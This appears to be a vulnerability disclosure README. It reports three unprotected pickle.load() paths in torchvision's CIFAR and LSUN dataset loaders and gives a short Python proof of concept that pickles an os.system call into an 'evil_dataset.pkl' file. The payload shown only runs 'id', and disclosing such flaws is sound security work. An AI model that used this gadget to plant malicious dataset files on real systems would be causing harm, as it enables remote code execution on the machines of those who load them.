xiaoyaoes/pytorch-vision-pickle-rce

PyTorch Vision Pickle RCE PoC

Reported to huntr by xiaoyaoes

Vulnerability

3 unprotected pickle.load() paths in dataset loading utilities:

Path 1: CIFAR dataset — torchvision/datasets/cifar.py:83

entry = pickle.load(f, encoding="latin1")

Loads CIFAR batch files with no protection.

Path 2: CIFAR meta — torchvision/datasets/cifar.py:100

data = pickle.load(infile, encoding="latin1")

Loads CIFAR metadata with no protection.

Path 3: LSUN cache — torchvision/datasets/lsun.py:28

self.keys = pickle.load(open(cache_file, "rb"))

Loads LSUN dataset cache file with no protection.

Reproduction

import pickle, os

class Pwn:
    def __reduce__(self):
        return (os.system, ('id',))

with open('evil_dataset.pkl', 'wb') as f:
    pickle.dump(Pwn(), f)

# When torchvision loads this dataset → RCE